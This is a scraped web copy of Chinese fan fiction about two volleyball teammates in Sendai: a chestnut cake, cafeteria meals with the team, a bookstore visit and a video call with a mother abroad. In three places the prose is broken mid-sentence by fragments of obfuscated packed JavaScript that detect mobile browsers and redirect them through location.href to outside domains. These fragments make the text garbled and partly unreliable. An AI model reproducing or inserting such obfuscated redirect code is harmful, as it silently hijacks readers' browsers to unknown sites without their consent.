p′︵‵。)这样了。 他低落的时候,那颗红鸾星似的细痣也静静的,在他的眼睑上一动不动。 立花雪兔往电车站的方向走去。 “Mythique Wonderland。”牛岛若利拉住他的手腕,忽然说。 立花雪兔:“啊?” “在攻略上看到的蛋糕店,有卖你最喜欢的栗子蛋糕。”牛岛若利望着他,“真的不去吗?” 立花雪兔:“……” 在电车上看了那么久的手机,原来是在找攻略啊。 “若利,太犯规了。”他低低地说。 牛岛若利:“?” 立花雪兔深吸一口气,抬头说: “带路啊,愣着干嘛。” “……”牛岛若利淡淡地笑了一下,“好。” “你请客,我卡里只剩500円了,还要活到下个月。” “刚才说了我有会员。” “哈?” “嗯,我请客。” 14. 甜甜的栗子蛋糕 Mont-Blanc,蒙布朗。 以栗子奶油堆砌成覆盖着秋叶的阿尔卑斯山峰造型,是法国的秋季传统蛋糕。 而仙台市特产毛豆,一年四季都有无数的毛豆。 立花雪兔不吃绿色的豆子,绿豆、青豆、毛豆、四季豆等等,全部被他排除在食谱之外,只有红豆和黄豆做成的甜品尚可以接受。仙台的商业街上充斥着仙台人们以极大的热情制作的各类毛豆食品,做成大福,做成奶昔,做成蛋糕,做成什么都改变不了他讨厌毛豆的事实。 牛岛若利只记得小时候,被大人安排带着初来乍到的立花雪兔出去玩,他常常待在公共排球馆。 而立花雪兔打一会儿球就嫌累,自己跑去旁边的甜品店吃栗子蛋糕。牛岛若利抱着排球从公共排球馆走出来的时候,往往已经日暮四合,甜品店的玻璃门上映出了茜色的天空和他自己沉默的身影。 小小的立花雪兔坐在甜品店的复古沙发椅里晃着双腿,从玻璃门的另一侧笑着望向他。那双腿白皙纤细,膝盖上却有一枚硬币状的疤痕。 喜欢或讨厌的东西,都不会轻易地改变。牛岛若利是这样想的。 所以十年之后的春天,他仍然带着立花雪兔穿梭在仙台市的毛豆大福、毛豆奶昔、毛豆茶屋之间,寻找一家会卖秋天的栗子蛋糕的甜品店。 “我家的蒙布朗很好吃的哦,你看,栗子奶油上特别撒了糖渍橙皮丁,是不是很像阿尔卑斯山上的雪屑?而且也为它增加了清新的风味,不会太甜腻。”老板对立花雪兔说,“客人,你都盯着它看了这么久了,就买一个吧。” 牛岛若利望着立花雪兔映在玻璃上的倒影,一如曾经一般沉默着,安静地等待他做决定。 喜欢或讨厌的东西,都不会轻易地改变。 可是,人的心境却会改变。 立花雪兔想,以前吃这样一个阿尔卑斯山造型的蛋糕的时候,根本没有想到很多年后的某一天,妈妈竟然会抛下自己,去到真的可以看见阿尔卑斯山的遥远国度。 唉,还是不要想这些了。 身后一米九的重炮还没有吃午饭,传出去他虐待白鸟泽王牌,会被所有人围殴的。 “好,要一个吧。”立花雪兔说,“请帮我打包。” “刚从冷藏拿出来的更好吃,所以请尽快食用哦。”老板问,“怎么支付?” 立花雪兔指指旁边的人:“他支付。” 牛岛若利掏出了手机。 店门口的风铃响了。 “欢迎光临。”老板热情地说,“您又来了?” 二人拎着打包好的蛋糕盒一回头,就看见鹫匠教练站在面前。 立花雪兔:“?!” 仙台很小,这他知道,不过要说在蛋糕店偶遇,应该偶遇爱吃甜品的觉前辈吧?!为什么锻治老头会在这里呃呃呃啊啊啊! 牛岛若利没什么表情,冷静地向鹫匠教练打招呼。 “我孙女闹着说,不给她买草莓蛋糕就不吃饭。”鹫匠教练冷笑着问,“你们之中不会也有人不买蛋糕就不吃饭吧?” “啊哈哈,怎么会,我们只是路过啊,路过。”立花雪兔干笑着,“鹫匠教练,您慢慢买吧,我们就先去吃饭了哈哈哈。” “立花雪兔!” 立花雪兔被吓得一个激灵。 “怎怎怎怎么了鹫匠教练……” 鹫匠教练嫌弃地打量了他一阵,接着就是一顿暴躁输出: “给我多吃点啊臭小子!你是要保持身材的女明星吗?!就这二两肉怎么打排球?你还想不想混了!明天斋藤要给你们测身高体重,你要是低于60kg就完蛋了!” “啊啊知道了……不过请问具体是怎么个完蛋法呢……” “呵呵,收拾东西滚出排球部,你想当女明星的话拍拍YouTube发发Instagram就可以了。” “呜……怎么教练你也知道了……” “还有!多喝牛奶!不许熬夜!快点给我长到一米八啊,差那两厘米还磨磨蹭蹭的干什么,是要我把你埋到土里再浇浇水吗?!” “呜呜……” * 烤肉店。 窗边的双人卡座里,牛肉在铁板上滋滋冒油,烤好的牛肉蘸了酱,层层叠叠地铺在牛岛若利面前的米饭上。 烤牛肉盖饭,在他心中是世界上仅次于烩牛肉盖饭的美味。 面前的少年却似乎不这样认为。 立花雪兔垂着头,小口小口地吃着肉,吃得很慢。尽管,任何事情被当做了任务,都容易会产生一定的抵触心理,但其中应该不包括吃饭这件事情。 装在漂亮盒子里的栗子蛋糕,也静静地被放在桌上,并没有讨到它应得的欢心。 所以他为什么不开心? 牛岛若利思忖。 他不开心的时候太明显了,像是一只活泼的北极兔一下就安静了,面上也不带笑,垂着眼睛,眼睑上的浅红细痣一动不动。 “你怎么了?”牛岛若利问。 “嗯?没怎么呀。”少年清亮的嗓音回答。 声音和往常一样。 但不对。 一定怎么了。牛岛若利努力思考。 “……鹫匠教练不会真的把你赶走的。”牛岛若利说,“白布一年级的时候也被他这样说过。” “好吧。” “不过你确实太瘦了。” “我知道啦……” 不对。 “不想吃烤肉?”牛岛若利想了想,又问,“但是仙台站这边除了烤肉就只有牛舌店了,你似乎也不吃牛舌。” “没有啊,烤肉很好吃。” “要去车站里吃披萨吗?” “不是昨天才在你家吃过吗?我也没有那么爱吃垃圾食品啦……” 还是不对。再往前想想。 “零花钱不够用了?”他又问,“这个月还剩一个星期,你还有什么想买的?” “应该没有了,吃饭和上下学都不怎么花钱,这星期的JUMP就借觉前辈的看吧。其实本来是够用的……” “排球鞋,超过预算了?” “不是啦,是我三月初,刚到仙台的时候。”立花雪兔顿了顿,“不认识路,也不太认识字,出了机场不知道怎么去家里,就上了一辆计程车。” 牛岛若利:“……” 之后的事不必再说了。 因为计程车破产,在日本也是时有发生的事情。 但也不对。 “你是觉得乌野高校对我们有威胁吗?”牛岛若利认真地问,“虽然他们曾经确实是排球强校,影山飞雄也是县内排得上名次的二传,但现在不足为惧。我们白鸟泽才是县内最强的。” “我倒也没有在担心这个……”立花雪兔心想我一个做替补、天天被骂滚出排球部的命,操什么县内总决赛的心,“不过,翔阳呢?他应该也是排得上名次的副攻吧?” 什么翔阳,翔阳是谁啊。 “没听说过这号人。”牛岛若利淡淡地说。 “诶?不会吧?他跳得很高哦!咻的一下!你刚刚看到没有?” “……没有。” 谈到那什么翔阳的,他好像有点精神了。 但还是不对。 到底发生什么了?牛岛若利静静地百思不得其解。 “噗嗤。” 立花雪兔忍不住笑了。 ……啊,他笑了。 牛岛若利更百思不得其解地望着他,脑袋上缓缓地冒出一个问号。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380223|168436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “若利。”对面的少年心情似乎变好了,又像平常一样双眼弯弯地喊他的名字。 “你苦恼的时候完全写在脸上哦,”立花雪兔笑着说,“好可爱。” 可爱? 前一天他也被这样说了。 牛岛凛华揉着他的脸,说“还是这样比较可爱”。 全国高校三大王牌之一、绝对王者、超高校级王牌、怪童牛若、左手重炮……这家店都坐不下这些人。 拥有这些称号的他,因为压倒性的强大和绝对的统治力而常常被人畏惧的他。 大概也只会被妈妈和幼驯染说“好可爱”。 他不在乎这些。 即使是在人类最应该被称赞可爱的幼崽时期,牛岛若利也不经常被这样说。 那时候奶奶[1]还没有退休,还住在仙台市的家里,自己在很小的时候是由她和爷爷教养的。别说爸爸,连妈妈都不太敢忤逆她,稍微对他亲昵一些,就被认为会宠坏牛岛家的继承人。 “不要哭,若利,摔倒了就站起来。” “男子汉不要撒娇。” “即使是小事,也要认真地对待。” 这是他小时候最常听见的话。 而普通的小孩最常听见的“真乖”“真可爱”,他却从未听到过。 他不在乎这些。 “……可爱?”牛岛若利重复。 “是啊,认真地苦恼的样子,很可爱。”立花雪兔说,“所以你就直接告诉我吧,问了这么多,你的真实目的到底是什么呀?” 他唯一在乎的是—— “我的目的……” “我的目的是想让你开心地吃掉这块栗子蛋糕。” 立花雪兔一怔。 “……也对哦。”他说,“抱歉。” “为什么要道歉?你好像总是在道歉。” “因为这是若利第一次请我吃的蛋糕耶,我竟然就这样把它晾在一边。”立花雪兔把盒子拿到面前,“现在我要重新怀着感恩的心把它吃掉。” 其实没什么大不了的。立花雪兔想。 我做不到成为牛岛若利最好的二传,他的身边以前有濑见前辈、现在有白布前辈,未来他会站在世界的舞台上,身边还会有更多人。 做不到也没有什么大不了的。 从一开始,就没有抱着这样的目的。 我只是…… 只是想和朋友们,想和若利一起打球。 想和他一起聊天、吃饭、放学回家,趁他不注意,假装坦然地拉住他的手。 不要为做不到的事情而难过了。 我要为眼前的栗子蛋糕而开心! “我可以把最好吃的第一口让给你哦。”立花雪兔笑眼弯弯,把勺子递到牛岛若利的嘴边。 “……太甜了。”他拒绝。 “哎呀,你根本就没听!老板说不甜的!” 牛岛若利盯着那块蛋糕尖看了一会儿,还是敌不过那双亮晶晶的眼睛,张嘴含住了面前的勺子。 比起栗子奶油,最先感受到的,却是糖渍橙皮丁那清爽酸甜的风味,与某个人身上总是萦绕着的橙花香味很相似。 “怎么样?好吃吗?”立花雪兔迫不及待地问。 牛岛若利仔细地咀嚼、咽下,最后得出结论:“好甜。” “不可能吧!” “有点像你。” “……啊?”即使是立花雪兔,也被天然呆的词汇库整懵了。 “我是说,”牛岛若利斟酌了一番,“如果你想吃的话,我每天都可以请你吃。” “真的吗?”立花雪兔快乐地问,“每一天?每一天哦?” “每一天。” “我的体重应该很快就能达标了……” 15.食堂的排球部 起晚了!!! 美好的周末结束,又是新的周一了。 立花雪兔按掉闹钟后不小心秒睡着了,身体感觉只过了一瞬间,迷迷糊糊之中,他仿佛听见鹫匠教练暴怒的一声大吼,吓得猛然惊醒,才发现已经半小时过去了。 立花雪兔匆匆洗漱,拎着昨天新买的排球包,里面装着新的排球、排球鞋、护具、队服、绷带、chiikawa的吸管杯等等乱七八糟的东西,一阵风似地刮下楼了。 餐厅里,立花浩介和立花薰子已经在吃早饭了。 即使起晚了,也不能不吃早饭,更不能风卷残云狼吞虎咽地吃早饭,这仍然是立花家的规则怪谈。 来了快一个月了,立花雪兔渐渐对日本人大早上吃米饭小菜味增汤这件事稍微接受了一些。其实仔细想想,粢饭也是饭,米饭也是饭,和他以前吃的也没有很大区别……但他还是想念生煎馄饨小笼包软蛋饼…… 今天,他刚在餐桌前坐下,美香阿姨却给他端了一碗面。 立花雪兔:“这是?!” “炸猪排和葱油拌面,我看视频学的。”美香叉腰,“你快尝尝,我可是很有信心呢。” “呜呜,厨神啊……”立花雪兔感动得眼泪都要流出来了。 对厨师最好的赞美当然就是呼啦啦地吃完,立花雪兔恨不得把碗都给舔干净了,才拍拍肚皮去拿自己的滑板。 “哼。”立花浩介提醒他,“臭小子,别忘了答应我的事。” “我知道我知道!这周要把个人未来计划写好交给你!还有,不回家吃晚饭要提前三个小时发邮件说!” 昨天回家之后,祖孙二人第一次好好谈了一场,难得谁都没有吼谁,也没有演化成持械战斗。大家各退了一步,决定都为相互理解努努力。 “还有呢?”立花浩介又问。 “诶,还有什么?”立花雪兔懵了。仔细想想,昨天谈到的就只有这些啊。 “……”立花浩介说,“滑滑板注意安全。” “啊……哦哦。” 立花雪兔受宠若惊,呆滞了一瞬间,才怔怔地说: “好的,那我出门了,再见外公、再见外婆。” “一路顺风哦。”立花薰子笑眯眯地说。待到立花雪兔出门之后,她才向丈夫投去一个“看吧?我说什么来着”的眼神,“还是我对待孩子的方式比较对吧?” * 到排球馆换好衣服,教练们还没来,牛岛若利已经在组织先到的人做发球练习了。布置完练习之后他回头看见立花雪兔,朝他招了招手,立花雪兔就像只小狗一样噔噔地向他跑过去了。 “今天的栗子蛋糕。”牛岛若利从排球包里拿出一个蛋糕盒。 “真的买了呀?!”立花雪兔说。 “嗯,早上跑步的时候,顺路。” “谢谢若利!不过我肚子好饱哦,还是等练习完再吃吧。” “嗯,有冰袋,不会融化的。” “锵锵!小雪兔偷偷摸摸在吃什么?!”天童觉从背后暗杀似地偷袭他。 “呃啊——我的蛋糕!” “竟然偷偷吃蛋糕!”天童觉看了看,“蒙布朗?一般般吧。还是黑森林樱桃蛋糕最好吃了!” “没品的家伙!”立花雪兔愤然捍卫栗子蛋糕。 “你才没品!” “……快去练习。”牛岛若利说,“晚一分钟加一百个发球。” “哎呀,主将要生气了,我们快跑吧小雪兔。” “同意。” 牛岛若利:“……” 发球练习结束之后,斋藤教练也来了,给他们测量新一周的数据。 “身高178.8cm,不错啊,听说青少年到了新的环境,更容易长高。”斋藤教练对立花雪兔说,“再看看你的体重……59.6kg。” 在旁边盯着的鹫匠教练暴怒地追着他暴揍。 “臭小子!我让你不好好吃饭!吃蛋糕!就知道吃蛋糕!” “我没有……啊!教练!但是我长高了啊!” “你还好意思说?那不就是更瘦了吗!”鹫匠教练把笔记本卷成一个筒,跳起来打他的脑袋。 立花雪兔想到家里每天清淡的饭菜,无语凝噎。过去的一周里,好像只有在牛岛家和在商业街吃的那两顿,才算像样地摄入了一些青少年需要的碳水和脂肪。 “若利,从今天开始你盯着他吃饭。”鹫匠教练又说,“还有你!觉!往哪里跑?以为有了立花雪兔,我就把你忘了是不是?” “锻治老头好凶啊。”天童觉嬉皮笑脸,根本不怕他,“我又怎么了?” “他挑食的毛病也该治治了,若利你一起盯着吧。”鹫匠教练瞪天童觉,“和立花雪兔坐一桌去吧。” “什么?!” * “每一天的栗子蛋糕”计划,在第一天就彻底夭折。 “可是它的热量不是很高吗?按照鹫匠教练的要求我应该多多吃蛋糕才对。”立花雪兔试图挽救自己的小蛋糕。 “胰岛素过高会抑制生长激素,你的生长板本来就……” 说到这里,牛岛若利忽然停住了,重新说:“高糖饮食会挤占正餐空间,导致蛋白质、维生素D、锌、钙等营养摄入不足。当然,如果你能好好吃完这顿饭,饭后可以再吃一块蛋糕。” 今天食堂的菜色有:番茄炖牛腩、黄油鸡肉煮、麻婆茄子和芝麻拌菠菜。虽说延续了日本人一贯的清淡,不过没有立花雪兔不吃的东西,但是,米饭里竟然放了玉米粒、胡萝卜丁和青豆! 青豆啊,青豆!画蛇添足的青豆! 全毁了!!! “嚼嚼嚼……有那么难吃吗?青豆。”天童觉问。 “觉前辈有资格说这种话吗?”立花雪兔气鼓鼓地说,“有本事你别把菠菜和茄子挑到我碗里啊。” “天童,不要挑食。” “喂喂?信号不好我听不见……” 牛岛若利:“……” 被派来管小孩子吃饭的主将真的不理解,让这两个人吃饭怎么这么难。 他把优秀吃饭队员川西太一和五色工叫到对面给他俩当榜样。二年级的黄毛副攻和一年级的妹妹头主攻以崇高的热情接受了主将吩咐的任务,而这样一来大平狮音、山形隼人、濑见英太、白布贤二郎等人也一个接一个地过来了,乌泱泱坐满了一整张桌子,惹得食堂里的同学纷纷往这边看。 “诶,快看,那些都是排球部的哦。” “怪不得这么帅……” “而且都好高啊,可恶,那衣品就给我差一点啊!” “我只是因为家里饭太难吃了才这么瘦的,我可不像觉前辈一样挑食。”立花雪兔说,“所以你们就不要盯着我了,管管觉前辈就行了。” “但我会吃青豆哦。”天童觉说。 “哼,我还会吃菠菜和茄子呢。” 天童觉想了想:“我吃鱼。” “你……我吃西蓝花!” “太狠了……我吃坚果。” “我、我吃秋葵。” “你杀死了比赛。” “这到底是在比什么。”白布贤二郎无语地说,“五色的饭都吃到第三碗了。” 五色工:“嚼嚼嚼。” “蛋糕给我吃吧,牛岛前辈。”川西太一打了个嗝儿,“我还没吃饱。” “我看白布前辈、濑见前辈和我也差不多,我们二传只需要脸好看就行了。”立花雪兔把自己的米饭拨给川西太一,并偷偷去抢蛋糕,“你们主攻和副攻多吃点。” “我吃饱了。”天童觉更是直接摊牌。 “牛岛真是意外地有耐心啊。”白布贤二郎揉揉突突跳的太阳穴,“我已经有点想揍人了。” “对前辈放尊重一点!小白布!” “天童前辈才是根本没有前辈的样子……” 桌上,挂着chiikawa吊绳的手机亮起了屏幕。 【着信表示:陌生号码】 立花雪兔:“诶?我出去接个电话。” “你别不吃了直接跑了哦。”天童觉懒洋洋地说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382807|168436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不会啦!我又不是觉前辈!” 牛岛若利望着他走向食堂门口,若有所思。 他刚刚确实提醒了一点。 二传,而且是替补的替补的二传。鹫匠教练这么急着要他长高、增重,是为什么? 他忽然想到了什么,看向濑见英太。 濑见英太表情有些僵硬,朝他点点头,似乎与他想到了同一个可能性。 白布贤二郎:“……?” “所以蛋糕我可以吃了吗?”川西太一充满期待地问。 * “喂?你好,哦哦,小野寺编辑,你辛苦了……” “不不,虽然她确实是我妈妈,但我也常常联系不上她,没办法帮您了……” “呃啊,好吧,好吧,我尽力。” “不用谢。嗯,再见。” 挂掉电话,立花雪兔深深地叹了口气。 怎么编辑催稿还催到我这里来了啊?!这样想想当漫画编辑也好惨啊。 他找到妈妈的聊天框,也不管法国现在是几点,直接就炸了二十个乌萨奇挥棍子的表情包过去。 * 放课后,排球部。 前辈们以及五色工在打练习赛,立花雪兔在给几个一年级生托球。练习赛结束后,鹫匠教练走过来看了他们一会儿,就把立花雪兔叫住了。 立花雪兔:“?” 鹫匠教练把他带到另一块空的排球场上,又招手把川西太一叫过来。二年级的黄毛副攻像只大狗一样咻地出现在他们面前,问:“什么事?” “练一下他的接球。” “哦哦,练单兵[1]是吗?好的!”川西太一的斗志熊熊燃烧,“准备好了吗?公主殿下!我可是不会手软的哦!” “什么单兵?什么公主殿下?”立花雪兔懵了。 但他没能懵太久。 网对面,川西太一各种角度、各种力度的扣球一个接一个地砸过来,上上下下左右左右BABA,他在混乱中狼狈不堪地救球,旁边还不断回响着鹫匠教练暴怒的大吼: “太慢了!” “脚步太碎了!” “看好位置再接!” “中午没吃饭吗!” “太差劲了!!!” 立花雪兔:“………………” 结束后,他的小臂上全是被砸出来的密密麻麻的淤青。 我请问?我请问呢?我明明是二传为什么一直在练一传?二传不是站在场中央等球飞到自己面前就可以了吗? “抱歉啊,公主殿下。”川西太一嬉皮笑脸,毫无悔改之意地过来和他勾肩搭背。 立花雪兔默默把他推远了点:“谁是公主殿下?” “天童前辈带头这样叫你的,我们都觉得很合适诶。”川西太一说,“他说你每天赶着回家,好像辛德瑞拉公主。” “你们倒是出个王子带着水晶鞋来救我啊!”立花雪兔今天有点累烦了,决定不给任何人好脸色,瞪着二年级的黄毛前辈。 完全不知道自己这副样子从188cm的地方看,毫无任何杀伤力,反而一双桃花形的眼睛扑闪扑闪的,脸颊也因为剧烈运动后而泛着绯红,很漂亮。川西太一终于理解了为什么班上的女生都在嘀嘀咕咕地讨论他,看他的账号,说想捏他的脸。 “锵锵!怎么啦!小雪兔!”天童觉又暗杀似地从背后扑过来。 这个人也不给好脸色。 立花雪兔瞪。 他旁边,站着面无表情的牛岛若利。 牛岛若利:( ˙︿˙ ) 这个人也……好吧,立花雪兔对着幼驯染的脸根本没脾气。这个人没惹,算了。 立花雪兔扁扁嘴:“干什么。” “今天时间还早!我和若利准备去看漫画!听说某个小可怜零花钱用光了,我还想问要不要带他一起去的。”天童觉笑嘻嘻地说,“要是他生气了,我就不带了。” “谁生气了?我没生气呀!没有!” “带我一起去吧世界上最好的觉前辈!!!” 16.Books绿球藻 Book''s绿球藻,一家连锁书店。 周一是《周刊少年Jump》的发售日,最新的杂志已经摆满了书店入口处的书架。天童觉拿了一本付完钱,带着另外两个人到窗边的位置上。他刚一坐下,就哗啦啦地先翻到了中间的部分。 “不,等等。”立花雪兔按住他的手,“应该先看《BLEACH》吧,友哈巴赫已经杀过来了啊!” “你在说什么,当然先看《NARUTO》啊,鸣人刚获得了九尾的承认,准备要和宇智波带土打了!” 在他们争执的过程中,牛岛若利正在从第一页开始,认认真真地阅读目录、作者、出版信息和广告。 立花雪兔没打赢天童觉,遗憾退场,决定再到书店里逛逛。 书店的布置井井有条,一边是热血少年区,一边是浪漫少女区。少女区的负责人是一个金发大帅哥,正在向刚放课的女高中生们推荐今日必买,买杂志送化妆品小样,买漫画送扭蛋和吧唧。在少女区最前面的书架上,放着最新的少女漫画月刊《绿宝石》。 《绿宝石》的封面上,有几行花体大字: 「4月1日、Paris霊光ラヴァーズサロン」 传说级的少女漫画家Makoto带着四月一日系列回归了!住在巴黎的百岁魔女·四月一日朔夜,这次将给我们带来什么样的恋爱沙龙呢?! 传说级的少女漫画家啊…… 立花雪兔从书架上拿了一本《绿宝石》,一边翻阅,一边闷闷不乐地想,真是的,既然要画漫画,那为什么不回日本啊。 “你喜欢看这些吗?” 不知道过了多久,一个声音从头顶上传来。 立花雪兔抬头,后脖颈传来一阵僵硬的酸痛,才发觉自己已经站在这里看了很久,看到牛岛若利都过来找他了。 “不,不喜欢。”立花雪兔扁扁嘴,“准确地说是完全没兴趣。” 牛岛若利:“……?” “我想看一下是什么东西排在我的前面。”立花雪兔顿了顿,垂着眼睛说,“这是我妈妈画的漫画。” “……” 牛岛若利看着他。 面前的少年总是笑着和大家打打闹闹,虽然也会大喊大叫的,却从来没见过他真的生谁的气。可是,当他一个人的时候,他看起来很悲伤。 像一个漂亮的、装着颜色鲜艳的橘子汽水的玻璃瓶,不断地晃荡晃荡,冒着让周围人都感到快乐的气泡。 但没有人在的时候,气泡一个接一个地破碎了,从不仔细看就无法察觉的玻璃裂纹中,慢慢洇出来。 他需要什么? 而自己此刻又能做什么? 准确地察觉到他人的情绪,并做出相应的、恰到好处的回应,也是一种天赋。显然牛岛若利的天赋点全点在了排球上,没有给这样的事情留有余地。 立花雪兔倒是深谙此道。 牛岛若利想到在黑暗的排球场里,他是唯一察觉到自己的难过的人。即使已经过了那么久,即使自己已经沉默地咀嚼、吞咽、消化完毕了,他还是察觉到了。 最能够照顾到别人的情绪的人,往往却是最得不到照顾的人。 那时候他是怎么做的来着? 扑闪着眼睛问,需不需要一个免费的拥抱。 牛岛若利垂眸,斟酌地说:“你……” “小雪兔!我看完啦!” 天童觉的声音从窗边的位置上传来。 “还有,你的手机在桌上亮了好久,好像有人打电话来了!” “啊,我来了!”立花雪兔放下《绿宝石》,匆匆跑过去。 跑了几步他回头,问:“你怎么还站在那里,若利?” “……没什么。” “快走吧。”少年重新笑了起来,仿佛刚刚的悲伤全都烟消云散一般,自然地拉住了他的手,“我也该回家了。” 【视频通话:妈妈】 立花雪兔把借来的JUMP放到包里,一手拎着滑板,另一手带上耳机,接了视频。牛岛若利抵着书店的玻璃门,等他手忙脚乱地出来了,才和天童觉一左一右地把他夹在中间,这样他就可以走路不看路地接电话了。 【我的宝贝,妈妈想死你了,怎么一接电话就板着一张小脸呀?】 屏幕里,一位和立花雪兔相似度80%的漂亮女性,正热情地对着镜头啾啾啾。 “我都在仙台待了快一个月了,你才打一个电话给我。小野寺编辑也找不到你,都找到我这里来了。”立花雪兔说,“哼,你的新老公和新女儿怎么样?” 【宝宝,妈妈在赶稿子啦,刚刚好不容易才赶完,觉都没补就给你回电话了。不过路易人很好哦,尼斯住着也很舒服。】立花真琴把镜头翻转,对着阳台外盛放的粉红色玫瑰和湛蓝大海,法国现在是中午,阳光洒满欧式的庭院,水波粼粼闪烁。 【至于伊莎贝拉,她比你的年龄大一些,也正在叛逆的时候,我都没见到她几面。不过倒是位小美人哦,哈哈。】 我到底在问什么啊,谁要听妈妈说再婚对象和继女啊?她真回答了,我又不高兴。立花雪兔心说。 “……哦。” 【下次律再找你催稿,你就说我已经死掉了。】 “……神经。” 【小宝贝,还是生妈妈的气呀?早就叫你和我来尼斯了。】 “不去。” 【浩介先生好不好相处?】 “不好。” 【薰子女士养的猫,镇尺,死掉了吗?】 “死掉了,现在的猫叫算盘,也已经很老了。” 【在新学校有没有遇到喜欢的人?】 “……?” 这些问题是以怎样的逻辑串联的? 立花雪兔把手机前置偏了偏,对着和他并排走着的牛岛若利和天童觉。 “这位是凛华阿姨的儿子,若利,我和他都在排球部。这位也是排球部的前辈,觉前辈。”立花雪兔转头对他们说,“我妈妈想见见我的朋友。” 牛岛若利只是听过,并没有见过立花真琴。他微微侧头,认真地向她打了个招呼。 “阿姨好。” 天童觉则一把勾住立花雪兔的肩膀,挤入镜头和他脸贴着脸,对视频里的女性笑着说:“不用担心哦立花阿姨,我们会好好照顾小雪兔的。” 【有吗有吗?喜欢的人?是这两个其中的一个吗?】立花真琴问。 三人走在街上,立花雪兔戴着耳机,双方其实都只能看着屏幕,并不能听见对方的话。 “你猜。”保险起见,他仍然换了中文,懒洋洋地说。 【真的吗?你喜欢其中的一个?】 【不对,让我想想,又或者说,两个人你都怀有好感,内心的爱情天平不知道究竟倾向哪一个吗?等等这是一个超棒的素材,我记录一下……初来乍到的异国少年,沉默守护的首席骑士,阳光活泼的天才剑客……】 “好土。而且怎么是少年,你不是画少女漫画的吗?” 【没关系,隔壁的《蓝宝石》就是BL部,那边的编辑也约我的稿约了很久了。哎呀感觉应该再加两个角色,画成异世界里的F4会比较帅气!】 “随便你,慢慢画吧,我要挂了。” 【诶,等等——】 嘟。 ……不该是这样的。 其实很期待妈妈打来的这一通电话的。 但她、但她的话语却反复在无关的话题上打转,新的丈夫和儿子,外婆的猫,漫画的素材。 我只是想听她关心我。 我只是想有人像小时候一样关心我,爱惜我,永远不要抛弃我。 如果她不说的话,那我干脆什么都不要听了。 天童觉的目光如一只蝴蝶,停落在少年身上。 “……会下雨哦。”他笑着说。 “嗯?什么时候?”立花雪兔回过神,问。 “让漂亮的孩子落泪的话,天空就会下雨哦。”天童觉伸出缠着绷带的修长手指,戳了戳他的脸颊肉。 “……谁、谁要哭了!” 准确地察觉到他人的情绪,并做出相应的、恰到好处的回应,也是一种天赋。 天童也有这样的天赋。牛岛若利想。 而他自己,只是看着。 一直以来都只是看着。 恢复了打打闹闹的气氛,不觉间就从书店走到了学校门口,牛岛若利和天童觉要回宿舍,立花雪兔则要回家了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399984|168436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 立花雪兔踩上滑板挥了挥手:“明天见啦。” “拜拜哦小雪兔。”天童觉说。 “……雪兔。” 牛岛若利忽然叫住了踩上滑板、正要像一阵轻风般远去的少年。 “什么?”少年刹住滑板,回头望着他。 那一瞬间,在茜色的日暮天空下,一阵风拂起了少年的浅色短发,琥珀般的眼眸比任何宝石还要澄澈。 白鸟,白色的飞鸟成群地从榉树上掠过,一直飞向天空的尽头。 这幅景色无端地烙印在牛岛若利的记忆中,直到很多很多年以后。 因为,这是他第一次意识到,自己似乎想要—— 想要抓住这阵经过他的世界的风。 “……不,没什么。” 又是一件可能会让他不开心的事,还是先不要告诉他了。 “回家好好吃饭,”牛岛若利对他说,“……不要熬夜看漫画。” 立花雪兔笑了起来。 是啊,他最想要的,其实只是这样的,最普通的关心。 “——知道啦!” * 天才美女漫画家: 【经过我缜密的推理,我认为你喜欢的是那位若利君。当然,这样说并非对另一位觉君有什么偏见,他也是非常讨人喜欢的孩子。但是,我做出这番推理是有根据的!】 狂乱木曜日: 【根据什么?】 天才美女漫画家: 【他看起来又强大又可靠啊,和你爸有点像。我比你稍微大一些的时候,也被这款男人迷得不行呢。啊啊,以及那种稍微的冷感,和少女时期的凛华酱也很像。】 可你不是已经和我爸离婚,和凛华阿姨也不怎么联系了吗?! 立花雪兔愤怒地敲字: 【你不准说这种不吉利的话!】 【啊啊啊啊啊太不吉利了!不准说!不准说!!!ヽ(#`Д`)ノ】 【撤回!快点撤回!】 【呸呸呸呸呸呸!】 天才美女漫画家: 【哈哈哈哈所以我推理对了吗?!】 【诶,以前你在仙台住的时候,薰子女士说你和隔壁牛岛家的大哥哥玩得很好,是不是就是若利君啊?】 狂乱木曜日: 【关你什么事】 天才美女漫画家: 【哈哈哈哈加油呀雪兔様!妈妈会为你的初恋应援的!……呃,话说回来,是初恋吧?】 狂乱木曜日: 【关你什么事啊可恶】 天才美女漫画家: 【太纯情了,啧啧,好像回到了我还不是毒妇的时候喔】 狂乱木曜日: 【我不是很想和你聊天了今天】 天才美女漫画家: 【明天再聊吧~☆】 立花雪兔把手机扔到一边,洗手去吃饭。 过了一会儿屏幕又亮了起来,一条未读消息静静地躺在那里。 天才美女漫画家: 